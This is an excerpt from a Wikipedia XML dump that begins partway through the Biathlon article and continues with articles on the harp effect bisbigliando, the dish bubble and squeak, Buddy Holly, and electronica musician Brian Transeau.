[[Image:Andrea Nahrgang 2002 Winter Olympics.jpg|thumb|right|Andrea Nahrgang prepares to shoot from the prone position at the [[2002 Winter Olympics]].]]
[[Image:Torino 2006 Jeremy Teela standing.jpg|thumb|right|Jeremy Teela shoots from the standing position at the [[2006 Winter Olympics]].]]

The complete rules of biathlon is given in the official IBU rule book (see [[#External links|External links]], below). However, the concise description given below, along with the section on competition format, should be enough for a spectator to understand what is going on at a biathlon stadium whether actually being there or at home watching a televised biathlon event.

=== Basic concepts ===

In short, a biathlon competition consists of a race in which contestants ski around a cross-country track, and where the total distance is broken up by either two or four shooting rounds, half in prone position, the other half standing. Depending on the shooting performance, extra distance or time is added to the contestant's total running distance/time. As in most races, the contestant with the shortest total time wins.   

For each shooting round, the biathlete must hit five targets; each missed target must be &quot;atoned for&quot; in one of three ways, depending on the competition format:   
* by making a skiing round in a 150 [[metre|m]] penalty loop, typically taking 20&amp;ndash;30 seconds for top-level biathletes to complete (running time depending on weather/snow conditions),
* by having one minute added to one's total skiing time, or
* by having to use an &quot;extra cartridge&quot; (placed at the shooting range) to finish off the target; only three such &quot;extras&quot; are available for each round, and a penalty loop must be made for each of the targets still remaining after expending the &quot;extras&quot;. 
    
In order to keep track of the contestants' progress and relative standing throughout a race, [[split time]]s (intermediate times) are taken at several points along the skiing track and upon finishing each shooting round. The large display screens commonly set up at biathlon arenas, as well as the information graphics shown as part of the TV picture, will typically list the split time of the fastest contestant at each intermediate point and the times and time differences to the closest runners-up.

=== Skiing details ===
All cross-country skiing techniques are permitted in biathlon, which means that the [[cross-country skiing#Free/Skating|free technique]] is usually the preferred one, being the fastest. No other equipment than skis and ski poles may be used for moving along the track. Minimal ski length is 4 [[centimetre|cm]] less than the height of the skier.

=== Shooting details ===
The biathlete carries the 3.5 [[kilogram|kg]] small bore rifle including ammunition in magazines on her/his back during the race. The rifles use [[.22 Long Rifle|.22 LR]] ammunition and are [[bolt action]].

The target range shooting distance is 50 [[metre|m]] or 160 feet. There are five circular targets to be hit in each shooting round. When shooting in the [[Prone position|prone]] position the target diameter is 45 [[millimeter|mm]] or 1.7 inches, when shooting in the standing position the target diameter is 115 mm or 4.5 inches. On all modern biathlon ranges, the targets are self-indicating, in that they flip from black to white when hit, giving the biathlete as well as the spectators instant visual feedback for each shot fired.

== Competition format ==

=== Individual ===
The 20 [[kilometer|km]] Individual race (15 km for women) is the oldest biathlon event. The biathlete shoots four times, in the order of prone, standing, prone, standing, totalling 20 targets. For each missed target a fixed penalty time, usually one minute, is added to the skiing time of the biathlete. Competitors' starts are staggered, normally by 30 seconds.

=== Sprint ===
The sprint is 10 km for men and 7.5 km for women.  The biathlete shoots twice, once prone and once standing, for a total of 10 shots. For each miss, a penalty loop of 150 [[metre|m]] must be skied before the race can be continued. As in the Individual competition, the biathletes start in intervals.

=== Pursuit ===
In a Pursuit, biathletes' starts are separated by their time difference from a previous race, most commonly a Sprint. The contestant crossing the finish line first is the winner. The distance is 12.5 km for men and 10 km for women, there are four shooting bouts (two prone, two standing), and each miss means a penalty loop of 150 m. To prevent awkward and/or dangerous crowding in the skiing track, and undercapacity at the shooting range, World Cup Pursuits are held with only the 60 top ranking biathletes after the preceding race.

=== Mass start ===
In the Mass start, all biathletes start at the same time and the first across the finish line wins. In this 15 km (12.5 km for women) competition, there are four bouts of shooting; two standing, two prone. As in Sprint races, competitors must ski one 150 m penalty loop for each miss. Here again, to avoid unwanted congestion, World Cup Mass starts are held with only the 30 top ranking athletes on the start line (half that of the Pursuit since here all contestants start simultaneously).

=== Relay ===
The Relay teams consist of four biathletes, who each ski 7.5 km (men) or 6 km (women), with two shooting rounds; one prone, one standing. For every round of five targets there are eight bullets available, though the last three can only be loaded one at a time from trays at the shooting range. If after eight bullets there are still misses, one 150 m penalty loop must be taken for each miss. The first-leg participants start all at the same time, and as in cross-country skiing relays, every athlete of a team must touch the team's next-leg participant to perform a valid changeover.

=== Mixed relay ===
The most recent addition to the number of biathlon competition variants, the Mixed relay, is similar to the ordinary Relay but for the composition of the teams, each of which consists of two women and two men. Legs 1 and 2 are done by the women, legs 3 and 4 by the men. The legs are 6 km, as in the ordinary women's Relay competition.

=== Team (obsolete) ===
A team consists of four biathletes, but unlike the case of the Relay competition, all team members start at the same time. Two athletes must shoot in the prone shooting round, the other two in the standing round. In case of a miss, the two non-shooting biathletes must ski a penalty loop of 150 m. The skiers must enter the shooting area together, and must also finish within 15 seconds of each other, otherwise a time penalty of 1 minute is added to the total time. Since 2004, this race format has been obsolete at the World Cup level.

==Biathlon venues==

World Cup events and World Championships in biathlon have traditionally been held at the following relatively few locations. (Due to the complicated shooting range equipment, which absolutely has to work in order to hold successful races, biathlon is a highly demanding sport for organisers.)

{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;1&quot; class=&quot;wikitable&quot;
! style=&quot;background:#efefef;&quot; | Country
! style=&quot;background:#efefef;&quot; colspan=4 | Major biathlon venues
|-
| [[Image:{{country flag alias AUT}}|22px]] [[Austria]]
| [[Hochfilzen]] || colspan=3 | [[Saalfelden]]
|-
| [[Image:{{country flag alias CAN}}|22px]] [[Canada]]
| [[Canmore]] || colspan=3 | [[Valcartier]]
|-
| [[Image:{{country flag alias FIN}}|22px]] [[Finland]]
| [[Kontiolahti]] || [[Kuusamo]] || colspan=2 | [[Lahti]]
|-
| [[Image:{{country flag alias GER}}|22px]] [[Germany]]
| [[Oberhof, Germany|Oberhof]] || [[Ruhpolding]] || colspan=2 | [[Veltins-Arena]]*
|-
| [[Image:{{country flag alias ITA}}|22px]] [[Italy]]
| [[Rasen - Antholz-Rasun - Anterselva|Antholz-Anterselva]] || colspan=3 | [[Cesana-San Sicario]]
|-
| [[Image:{{country flag alias NOR}}|22px]] [[Norway]]
| [[Øystre Slidre|Beitostølen]] || [[Holmenkollen]] || colspan=2 | [[Lillehammer]]
|-
| [[Image:{{country flag alias RUS}}|22px]] [[Russia]]
| [[Khanty-Mansiysk]] || colspan=3 | [[Novosibirsk]]
|-
| [[Image:{{country flag alias SVK}}|22px]] [[Slovakia]]
| colspan=4 | [[Brezno|Brezno-Osrblie]]
|-
| [[Image:Flag of Slovenia.png|22px]] [[Slovenia]]
| colspan=4 | [[Pokljuka]]
|-
| [[Image:{{country flag alias SWE}}|22px]] [[Sweden]]
| colspan=4 | [[Östersund]]
|-
| width=90 | [[Image:{{country flag alias USA}}|22px]] [[United States|USA]]
| width=120 | [[Fort Kent, Maine|Fort Kent]], [[Maine|ME]] || width=120 | [[Presque Isle, Maine|Presque Isle]], [[Maine|ME]] || width=120 | [[Lake Placid, New York|Lake Placid]], [[New York|NY]] || width=120 | [[Soldier Hollow]], [[Utah|UT]]
|}
&lt;nowiki&gt;*&lt;/nowiki&gt;The [[Veltins]]-Arena, located in [[Gelsenkirchen]] and renamed from Arena AufSchalke in July 2005, is the stadium of German football club [[FC Schalke 04]]. Since 2002 the stadium has hosted a special end-of-year mixed team event, now called the &quot;Veltins Biathlon World Team Challenge&quot;.

== Non-skiing variants ==

Two common variations on biathlon are '''summer biathlon''', where skiing is replaced by a cross-country run, and '''[[archery]] biathlon''' (or ski archery), where the rifle is replaced by a [[longbow]].  There have also been summer competitions in '''[[roller skiing|roller-ski]] biathlon''', '''[[mountain biking|mountain bike]] biathlon''' and '''[[orienteering]] biathlon'''.

==See also==
{{Commons|Category:Biathlon}}

Biathlon's two sports disciplines:
*[[Skiing|Skiing and skiing topics]]
*[[Shooting sports#Rifle shooting sports|Rifle shooting sports]]

Other multi-discipline sports (otherwise unrelated to biathlon):
*[[Duathlon]]
*[[Triathlon]]
*[[Pentathlon]]
*[[Modern pentathlon]]
*[[Heptathlon]]
*[[Decathlon]]

== External links ==
*[http://www.ibu.at/rules/ Event &amp; Competition Rules Authorized by the IBU Congress, June 1998] &amp;ndash; The official IBU rule book, with annexes
*[http://www.biathlonworld.com Biathlonworld.Com] &amp;ndash; A cooperation between IBU and [[European Broadcasting Union|EBU]]; with race results/statistics, TV schedules, live competition results, etc.
*[http://www.usbiathlon.com U.S. Biathlon Association] 
*[http://www.biathlon-aufschalke.de/ Veltins Biathlon World Team Challenge]
*[http://ww2.olntv.com/tvlistings/test-DB.asp?so=06%20BIATHLON Biathlon on OLN TV]

[[Category:Biathlon|*]]
[[Category:Multi-sport competitions]]
[[Category:Olympic sports]]
[[Category:Winter sports]]
[[Category:Cross-country skiing]]
[[Category:Racing sports]]
[[Category:Rifle shooting sports]]

[[bg:Биатлон]]
[[cs:Biatlon]]
[[da:Skiskydning]]
[[de:Biathlon]]
[[et:Laskesuusatamine]]
[[es:Biatlón]]
[[fr:Biathlon]]
[[he:ביאתלון]]
[[ko:바이애슬론]]
[[it:Biathlon]]
[[nl:Biatlon]]
[[ja:バイアスロン]]
[[no:Skiskyting]]
[[nn:Skiskyting]]
[[pl:Biathlon]]
[[pt:Biatlo]]
[[ro:Biatlon]]
[[ru:Биатлон]]
[[fi:Ampumahiihto]]
[[sv:Skidskytte]]</text>
    </revision>
  </page>
  <page>
    <title>Bisbigliando</title>
    <id>4406</id>
    <revision>
      <id>25667824</id>
      <timestamp>2005-10-16T16:40:51Z</timestamp>
      <contributor>
        <ip>81.183.46.197</ip>
      </contributor>
      <text xml:space="preserve">'''Bisbigliando''' (&quot;whispering&quot; in [[Italian language|Italian]]) is a special [[tremolo]] effect on the [[harp]] where a [[chord (music)|chord]] or [[note]] is rapidly repeated at a low volume. Usually, the effect is achieved by both hands playing adjacent strings set to the same [[pitch (music)|pitch]]es.  This is possible because of enharmonic spellings created by the pedals.
It can sound like strumming a [[guitar]] or even &quot;watery&quot;.

On [[sheet music]], it is represented by three thick lines connecting the notes to be trilled.

{{musical-instrument-stub}}

[[hu:Bisbigliando]]</text>
    </revision>
  </page>
  <page>
    <title>Bubble and squeak</title>
    <id>4407</id>
    <revision>
      <id>42050381</id>
      <timestamp>2006-03-03T13:27:06Z</timestamp>
      <contributor>
        <username>BlankVerse</username>
        <id>169582</id>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">[[Image:Stoke_newington_breakfast_1.jpg|thumb|right|A small portion of bubble and squeak (left) adorns a full English breakfast. (November 2005)]]
'''Bubble and squeak''' (sometimes just called '''bubble''') is a traditional [[United Kingdom|British]] dish made with the shallow-fried leftover vegetables from a [[roast dinner]].  The chief ingredients are [[potato]] and [[cabbage]], but [[carrot|carrots]], [[pea|peas]], [[brussels sprout|brussels sprouts]], and other vegetables can be added. It is traditionally served with cold meat from the [[Sunday roast]], and pickles. Traditionally the meat was added to the bubble and squeak itself, although nowadays the vegetarian version is more common. The cold chopped vegetables (and cold chopped meat if used) are fried in a pan together with mashed potato until the mixture is well-cooked and brown on the sides. The name is a description of the action and sound made during the cooking process.

A prepared frozen version is available.

{{cookbookpar|Bubble and Squeak}}

The name ''bubble and squeak'' is used in (at least) South East England - it is also [[cockney rhyming slang|Cockney rhyming slang]] for &quot;Greek&quot;.  In other parts of the country the dish may be referred to as ''bubble and scrape'' or ''fry up''.


[[Category:British cuisine]]
[[Category:Potato dishes]]

[[no:Bubble and squeak]]</text>
    </revision>
  </page>
  <page>
    <title>Buddy Holly</title>
    <id>4408</id>
    <revision>
      <id>42144479</id>
      <timestamp>2006-03-04T02:49:59Z</timestamp>
      <contributor>
        <username>Mikkalai</username>
        <id>28438</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/70.30.109.79|70.30.109.79]] ([[User talk:70.30.109.79|talk]]) to last version by Chairlunchdinner</comment>
      <text xml:space="preserve">{{Infobox Celebrity
| name        = Charles Hardin Holley
| image       = b_holly.jpg
| caption     = 
| birth_date  = [[September 7]] [[1936]]
| birth_place = [[Lubbock, Texas|Lubbock]], [[Texas]], [[United States|USA]]
| death_date  = [[February 3]] [[1959]]
| death_place = near [[Mason City, Iowa|Mason City]], [[Iowa]], [[United States|USA]]
| occupation  = [[Singer]] and [[songwriter]]
| salary      = 
| networth    = 
| spouse      = [[Maria Elena Holly]]
| website     =
| footnotes   = 
}}
'''Charles Hardin Holley''' ([[September 7]] [[1936]] &amp;ndash; [[February 3]] [[1959]]), better known as '''Buddy Holly''', was an [[United States|American]] singer, songwriter, and a pioneer of [[Rock and Roll]].  The change of spelling of Holley to Holly came about because of an error in a contract he was asked to sign, listing him as Buddy Holly.  That spelling was then adopted for his professional career.

==Biography==
Buddy Holly was born Charles Hardin Holley in [[Lubbock, Texas|Lubbock]], [[Texas]] to parents Lawrence Odell Holley and Ella Pauline Drake. The Holleys were a musical family  and as a young boy Holley learned to play the violin (his brothers oiled the strings so much that no one could hear him play), piano and guitar. In the fall of 1949 he met [[Bob Montgomery]] at Hutchinson Jr. High School. They shared a common interest in music, and soon teamed up to perform as the duo &quot;Buddy and Bob&quot;. Initially influenced by [[Bluegrass music|bluegrass]] music, they sang harmony duets at local clubs and high school talent shows. Holley's turn to rock music came after seeing [[Elvis Presley]] sing live, in his hometown of Lubbock in early 1955. A few months later, he appeared in the same bill with Presley, also in Lubbock. Holley's transition to rock was finalized when they opened for [[Bill Haley and his Comets]] at a local rock show organized by Eddie Crandall, who was also the manager for [[Marty Robbins]]. As a result of this performance, Holley was offered a contract with [[Decca Records]] to work alone. However, early success as a solo artist eluded him. 

Back in Lubbock, Holley formed his own band, &quot;[[The Crickets]]&quot;, and began making records at [[Norman Petty]]'s studios in [[Clovis, New Mexico]]. Among the songs they recorded was &quot;[[That'll Be the Day]]&quot;, which took its title from a phrase which [[John Wayne]]'s character said repeatedly in the 1956 film, ''[[The Searchers (movie)|The Searchers]]''. Norman had music industry contacts, and believing that &quot;That'll Be the Day&quot; would be a hit single, he contacted publishers and labels. Coral Records, a subsidiary of Decca, signed Buddy Holly and The Crickets. This put Buddy in the unusual position of having two record contracts at the same time. Before &quot;That'll Be The Day&quot; had its nationwide release and became a smash hit, Holley played lead guitar on the hit-single &quot;Starlight&quot;, recorded in April 1957, featuring [[Jack Huddle]]. The Crickets actually created two versions of the song, the initial unsuccessful version played more slowly and about half an octave higher than the hit version.

&lt;!-- Image with unknown copyright status removed: [[Image:Buddyhollycrickets.jpg|thumb|left|&quot;The Crickets&quot;: Jerry Allison, Buddy Holly and Joe Mauldin]] --&gt;
Holly's music was sophisticated for its day, including the use of [[musical instrument|instruments]] considered novel for rock and roll, such as the [[celesta]] (heard on &quot;Everyday&quot;). Holly was an influential lead and rhythm [[guitarist]], notably on songs such as &quot;[[Peggy Sue]]&quot; and &quot;[[Not Fade Away (song)|Not Fade Away]]&quot;. While Holly could pump out boy-loves-girl songs with the best of his contemporaries, other songs featured more sophisticated lyrics and more complex harmonies and melodies than had been previously shown in the genre.

Many of his songs feature a unique vocal &quot;hiccup&quot; technique, a clipped &quot;uh&quot; sound used to emphasize certain words in any given song, especially the rockers. Other singers have used a similar technique, though less obviously and consistently. Example, the start of the raucous number &quot;Rave On&quot;:  &quot;Weh-UH-eh-UH-ell, the little things you say and do, make me want to be with you-UH-ou...&quot;. Or this, from &quot;That'll Be the Day&quot;: &quot;Well, you give me all your lovin' and your UH-turtle dovin'...&quot;

Holly also managed to bridge some of the racial divide that punctuated rock, notably winning over an all-black audience when accidentally booked for New York's [[Apollo Theater]] (though, unlike the fictional portrayal in his movie biography, it took several performances for audiences to be convinced of his talents).

After the release of several highly successful songs, in March [[1958]], he and the Crickets toured the [[United Kingdom]]. In the audience were teenagers named [[John Lennon]] and [[Paul McCartney]], who later cited Holly as a primary influence (the band's name, [[The Beatles]], was later chosen partly in homage to Holly's Crickets). The Beatles did a [[cover version]] of &quot;Words of Love&quot; that was an almost perfect reproduction of Holly's version. [[The Rolling Stones]] did a cover of &quot;[[Not Fade Away]].&quot; The group, [[The Hollies]] were named in homage.

Holly's personal style, more controlled and cerebral than [[Elvis Presley|Elvis]]'s and more youthful and innovative than the [[country and western]] stars of his day, would have an influence on [[youth culture]] on both sides of the Atlantic for decades to come, reflected particularly in the [[New Wave music|New Wave]] movement in artists such as [[Elvis Costello]] and [[Marshall Crenshaw]], and earlier in [[folk rock]] bands like [[The Byrds]] and [[The Turtles]].

He married [[Maria Elena Holly|Maria Elena Santiago]] on [[August 15]] [[1958]].

In [[1959]], Holly split with the Crickets and began a solo tour with other notable performers including [[Ritchie Valens]] and [[The Big Bopper|J.P. Richardson]], &quot;The Big Bopper&quot;. One audience member at the tour stop in [[Duluth, Minnesota]] was a young Bobby Zimmerman who would later be known as [[Bob Dylan]].

[[Image:HollyStatue.JPG|thumb|left|250px|Buddy Holly statue in Lubbock]]

Following the [[February 2]] performance at the [[Surf Ballroom]] in [[Clear Lake, Iowa|Clear Lake]], [[Iowa]], Buddy Holly chartered a [[Beechcraft Bonanza]] to take him and his new Crickets band ([[Tommy Allsup]] and [[Waylon Jennings]]) to [[Fargo, North Dakota]]. Richardson came down with the [[influenza|flu]] and didn't feel comfortable on the bus, so Jennings gave his plane seat to him. Valens had never flown on a small plane and requested Allsup's seat. They flipped a coin, and Valens called heads and won the toss. The four-passenger Beechcraft Bonanza took off into a blinding snow storm and crashed into Albert Juhl's corn field several miles after takeoff at 1:05 A.M. The crash killed Holly, Valens, Richardson, and pilot Roger Peterson, leaving Holly's pregnant bride, [[Maria Elena Holly]], a widow (she would miscarry soon after).

Although the crash received a good deal of local coverage, it was displaced in the national news by a crash that occurred the same day in [[New York City]], when an [[American Airlines]] Lockheed Electra crashed during an instrument landing approach at [[LaGuardia Airport]]. In that crash, 65 died and 7 survived.

[[Image:HollyGrave850909.JPG|thumb|right|250px|Buddy Holly's gravestone]]

Holly's funeral services were held at the Tabernacle Baptist Church in [[Lubbock, Texas|Lubbock]], [[Texas]], and his body was interred in the City of Lubbock Cemetery.

Holly's headstone carries the correct spelling of his name, Buddy Holley.  It also features a carving of his [[Fender Stratocaster]] guitar.  Downtown Lubbock has a &quot;walk of fame&quot; with plaques to various area artists such as [[Mac Davis]] and [[Waylon Jennings]], with a life-size statue of Buddy, playing his Fender guitar, as its centerpiece.

The tragic plane crash inspired [[Mike Berry]] &amp; [[The Outlaws (UK band)|The Outlaws]]' single ''Tribute To Buddy Holly'' ([[1961]]), and singer [[Don McLean]]'s popular [[1971]] [[ballad]] &quot;[[American Pie (song)|American Pie]]&quot;, and immortalized [[February 3]] as &quot;[[The Day the Music Died]]&quot;. Contrary to popular myth, &quot;American Pie&quot; was ''not'' the name of the ill-fated 'plane.

The [[Surf Ballroom]], a popular and old-fashioned dance hall that dates to the height of [[Big Band Era]], continues to put on shows, notably an annual Buddy Holly tribute on the anniversary of his last performances.

== Tributes ==
[[Image:HollyMonument.jpg|thumb|left|250px|Monument at Crash Site, &lt;br&gt;[[September 16]] [[2003]].]]
In [[1988]], Ken Paquette, a Wisconsin fan of the 1950s, erected a stainless steel monument depicting a steel guitar and a set of three records bearing the names of each of the three performers. It is located on private farmland, about one quarter mile west of the intersection of 315th Street and Gull Avenue, approximately five miles north of Clear Lake. He also created a similar stainless steel monument to the three musicians near the Riverside Ballroom in [[Green Bay, Wisconsin|Green Bay]], [[Wisconsin]]. That memorial was unveiled on [[July 17]] [[2003]].

The dramatic arc of Holly's life story inspired a Hollywood biography ''[[The Buddy Holly Story]]'', for which actor [[Gary Busey]] received a nomination for [[Academy Award for Best Actor]] for his portrayal of Holly, as well as successful [[Broadway theatre|Broadway]] and [[West End theatre|West End]] musicals documenting his career. The West End musical, ''Buddy'', ran for seven years.  The movie, while entertaining received wide criticism from the rock community for its wild inaccuracies.  This led Paul McCartney to produce and host his own tribute to Holly, entitled &quot;The Real Buddy Holly Story.&quot;  This authoritative video includes interviews with Keith Richards, Phil and Don Everly, Sonny Curtis, Jerry Allison, Holly's family, and McCartney himself, among others.

Buddy Holly is considered one of the founding fathers of rock 'n roll and one of its most influential. Although his career was cut short, his body of work is considered some of the best in rock music history and his music would influence not only many of his recording contemporaries, but also the future direction music would take. As one of the capstones of rock 'n' roll, Buddy influenced groups for decades.

The [[science fiction]] novel ''Buddy Holly Is Alive and Well on Ganymede'', by [[Bradley Denton]] (ISBN 0688108229 and ISBN 0380718766), begins when television sets throughout the world suddenly begin broadcasting a concert by an apparently living Buddy Holly, who says he is on [[Ganymede (moon)|Ganymede]].

[[Terry Pratchett]]'s novel ''[[Soul Music]]'' features a protagonist whose name translates to &quot;Bud Y Holly&quot;.

&quot;Oil&quot;, an episode of ''[[The Young Ones (TV series)|The Young Ones]]'' features Mike ([[Christopher Ryan]]) discovering Buddy Holly, alive and well and tangled in parachutes, in the attic of a house in London.  Holly comments that he loves &quot;your British beetles&quot;, as he has been eating them since the plane crash.  Mike asks Holly if he has come up with any new material, and Holly plays a brief song about eating crickets...then his parachute strap suddenly breaks, slamming him into the floor and killing him.  Mike later hands off a duffle bag containing Holly's corpse to two minor characters, asking them to &quot;take care of my Buddy.&quot;

The 1998 film &quot;Six-String Samurai,&quot; a surreal romp through an alternate-timeline post-apocalyptic America (Russia bombed and then invaded the United States in 1957), features a rock-and-rolling martial arts hero named &quot;Buddy&quot; who sports familiar black horn-rimmed glasses and a tuxedo.  The film follows Buddy's journey to &quot;Lost Vegas&quot;, the last outpost of freedom in the world, to claim the crown of the recently-deceased King Elvis.

Buddy Holly was part of the first group inducted into the [[Rock and Roll Hall of Fame]] on its formation in 1986. His pioneering contribution to the genre has been recognized by the [[Rockabilly Hall of Fame]].

[[The Smithereens]]' song &quot;Maria Elena&quot; is a Buddy Holly tribute as sung to his widow.

== Selected discography ==
* &quot;[[That'll Be the Day]]&quot; &amp;ndash; [[1957]]
* &quot;[[Peggy Sue]]&quot; &amp;ndash; [[1957]]
* &quot;Everyday&quot; &amp;ndash;  [[1957]]
* &quot;Oh Boy!&quot; &amp;ndash;  [[1957]]
* &quot;[[Not Fade Away (song)|Not Fade Away]]&quot; &amp;ndash; [[1957]]
* &quot;Maybe Baby&quot; &amp;ndash; [[1958]]
* &quot;Rave On&quot; &amp;ndash; [[1958]]
* &quot;Heartbeat&quot; &amp;ndash; [[1958]]
* &quot;Well All Right&quot; &amp;ndash; [[1958]]
* &quot;It Doesn't Matter Anymore&quot; &amp;ndash; [[1959]] (coincidentally, on the charts when he died)
* &quot;Raining in My Heart&quot; &amp;ndash; [[1959]]
* &quot;[[Peggy Sue|Peggy Sue Got Married]]&quot; &amp;ndash; [[1959]]
* &quot;Crying, Waiting, Hoping&quot; &amp;ndash; [[1959]]
* &quot;True Love Ways&quot; &amp;ndash; [[1960]]
* &quot;Reminiscing&quot; &amp;ndash; [[1962]]
* &quot;Bo Diddley&quot; &amp;ndash; [[1963]]
* &quot;Brown Eyed Handsome Man&quot; &amp;ndash; [[1963]]

===Covers===
Since his death many bands and artists have covered Buddy Holly material such as [[The Beatles]], [[The Rolling Stones]], [[John Lennon]], [[Linda Ronstadt]], [[Humble Pie (band)|Humble Pie]], [[Rush (band)|Rush]], [[Grateful Dead]], [[Bruce Springsteen]], [[James Taylor]] and many others.

----
''[[Buddy Holly (song)|Buddy Holly]]'' was a hit song in [[1994]] for [[Weezer]] on their [[The Blue Album (Weezer)|self-titled debut]] album. The [[music video]] for the song was included with [[Microsoft]] [[Windows 95]].

A free internet book on Buddy's recording dates and facts about songs can be found at http://www.pmoorcroft.freeserve.co.uk/tshaw1.htm

== External links ==
* [http://www.buddyholly.com/ Official Web Site]
* [http://www.buddyhollyonline.com/ Buddy Holly Online]
* [http://www.fiftiesweb.com/crash.htm Day the Music Died; Info on crash, Coroner's Report etc.]
* {{last.fm|Buddy+Holly}}
* {{musicbrainz artist|id=d352f5dd-3023-4565-a7bb-52396bf8821d|name=Buddy Holly}}
* [[The Buddy Holly Recordings]] by [[Terry R. Shaw]] http://www.pmoorcroft.freeserve.co.uk/tshaw1.htm

[[Category:1936 births|Holly, Buddy]]
[[Category:1959 deaths|Holly, Buddy]]
[[Category:Accidents and incidents in general aviation|Holly, Buddy]]
[[Category:American rock singers|Holly, Buddy]]
[[Category:American songwriters|Holly, Buddy]]
[[Category:American rock musicians|Holly, Buddy]]
[[Category:Baptists|Holly, Buddy]]
[[Category:Buddy Holly|*]]
[[Category:English Americans|Holly, Buddy]]
[[Category:Entertainers who died in their 20s|Holly, Buddy]]
[[Category:People from Texas|Holly, Buddy]]
[[Category:Plane crash victims|Holly, Buddy]]
[[Category:Rock and Roll Hall of Fame inductees|Holly, Buddy]]
[[Category:Songwriters|Holly, Buddy]]
[[Category:Lubbockites|Holly, Buddy]]

[[da:Buddy Holly]]
[[de:Buddy Holly]]
[[es:Buddy Holly]]
[[fr:Buddy Holly]]
[[ga:Buddy Holly]]
[[it:Buddy Holly]]
[[he:באדי הולי]]
[[hu:Buddy Holly]]
[[nl:Buddy Holly]]
[[ja:バディ・ホリー]]
[[no:Buddy Holly]]
[[pl:Buddy Holly]]
[[pt:Buddy Holly]]
[[scn:Buddy Holly]]
[[simple:Buddy Holly]]
[[fi:Buddy Holly]]
[[sv:Buddy Holly]]</text>
    </revision>
  </page>
  <page>
    <title>Brian Transeau</title>
    <id>4409</id>
    <revision>
      <id>42131969</id>
      <timestamp>2006-03-04T00:58:54Z</timestamp>
      <contributor>
        <username>DeaconJericho</username>
        <id>591882</id>
      </contributor>
      <comment>/* Film appearances &amp; scores */</comment>
      <text xml:space="preserve">[[Image:BT_ozonic.png|frame|right|BT holding a M-Audio Ozonic keyboard]]
'''Brian Transeau''' (born '''Brian Wayne Transeau''' on [[October 4]], [[1971]] in [[Rockville, Maryland|Rockville]], [[Maryland]]) is an [[electronica]] [[musician]] who records under the [[stage name]] '''BT'''.  Classically trained from the age of 13, he attended [[Berklee School of Music]] in [[Boston, Massachusetts|Boston]] for one year before dropping out and moving to [[Los Angeles, California]], and then back to [[Washington, D.C.]]. 

Transeau's music was not very well received in the [[United States]], and he moved temporarily to [[Europe]] where his music was discovered by [[Sasha]], a [[United Kingdom|British]] [[DJ]] who introduced BT's music into the [[nightclub|club]] circuit. Instantly popular, BT's [[1996 in music|1996]] album ''[[Ima]]'' helped shape the future of the burgeoning [[progressive house]] scene as it merged with, and later came to define, the [[trance music]] style.  While ''Ima'' was comprised solely of the &quot;progressive&quot; sound, [[1997 in music|1997]]'s ''[[ESCM]]'' was more experimental (although it still produced several big records for the electronic dance music scene). BT's [[1999 in music|1999]] album ''[[Movement in Still Life]]'' continued his experimentation outside of the [[trance]] genre he helped to define through his more adventurous work and the more structured, commercially viable tracks.  This album also featured a strong element of [[nu skool breaks]], a genre he helped define with the classic ''Hip-Hop Phenomenon'', in collaboration with [[Tsunami One]].  [[2003 in music|2003]] saw the release of ''[[Emotional Technology]]'' featuring more vocal tracks than usual, including six with vocals by Transeau. He also provided vocals on the [[DJ Tiësto]] single &quot;Love Comes Again,&quot; and recently worked together with [[David Bowie]] on the song &quot;(She Can) Do That,&quot; recorded for the movie ''[[Stealth (movie)|Stealth]]'' ([[2005]]), which BT also composed the score for.

In recent years, he has also moved into [[film score|film scoring]], including ''[[Go (1999 film)|Go]]'' ([[1999]]), ''[[Under Suspicion]]'' ([[2000]]), ''[[Driven]]'' ([[2001]]), ''[[The Fast and the Furious (2001 film)|The Fast and the Furious]]'' (2001), and ''[[Monster (film)|Monster]]'' ([[2003]]). He recently completed the score for ''[[Stealth (film)|Stealth]]'' (2005), as well as the score for ''[[The Underclassman (2005 movie)|The Underclassman]]'' (2005).

Unlike many artists working in electronica, Transeau frequently performs his music live. In [[2004 in music|2004]], he did a very popular &quot;last night of summer&quot; concert at [[BT Tower]] (named for [[British Telecom]], not Transeau).

On December 14, 2002, Transeau invited 20 fans to his home for a private party to preview his (as of then, unreleased) upcoming album, ''[[Emotional Technology]]'' (2003).

Aliases include ''Kaistar'', ''Libra'' (as ''Libra Presents Taylor''), with [[John Selway]] as ''Dharma'', with [[Deep Dish]] and John Selway as ''Prana'', with Shaun Keng Collins as ''Elastic Reality'', with Taylor as ''Elastic Chakra'', with Guy Oldhams and Taylor as ''GTB'', and with Sasha as ''2 Phat Cunts''.

He has been playing piano since the age of 3.

He has an [[IQ]] of over 170.

He has a young daughter, Kaia. He lives and composes his works in his [[Los Angeles]] home/studio.


==Musical Progression==

The variety of BT's music is considered one its most notable qualities. In the early portion of his career (roughly [[1995]]-[[2000]]), he was generally refered to as a trance artist; or the more ambiguous term of [[DJ]], prompting the motto [http://stores.musictoday.com/store/product.asp?band_id=385&amp;dept_id=934&amp;pf_id=B2CT02&amp;sfid=2 I am still not a DJ]. He has been consistently experimental in his music, making it impossible to classify him, as an artist, in any one genre.

His first album featured vocals from [[Tori Amos]].

In 1997, BT released ''[[ESCM]]'', which featured more complex melodies and more traditional harmonies along with a heavier use of vocals. The tone of the album is darker and less whimsical than ''[[Ima]]'', the individual tracks being much tighter and cohesive. The album, as a whole, is much more diverse than BT's freshman album. While ''Lullaby for Gaia'' and ''Remember'' (both featuring [[Jan Johnston]]) are code [[trance music]], other tracks find their way into the canon's of other electronic sub-genres that were emerging in the mid-ninties. ''Love, Peace, and Grease'' is [[breakbeats]], ''Firewater'' and ''Orbitus Terranium'' are considered [[house]], ''Flaming June'' (probably the most famous single of the album) and ''Nectar'' are examples of [[hard trance]]. The most experimental track on the album is ''Solar Plexus'' which is easily divided into two parts. The first part is dark and suspenseful with a raging crescendo chorus, and features gritty vocals that proclaim &quot;I burn!&quot; in the chorus. This half of the song has been featured in numerous film trailers, including [[Blade 2]] and [[Hellboy]]. The second half of the song is slow and introspective, with a single piano and slowly building electronic accents. The vocals in the second half are clear and quiet to the point of obscurity. The mystery of what the lyrics to ''Solar Plexus'' actually are has been a sort of in-joke among BT fans since the album's release.

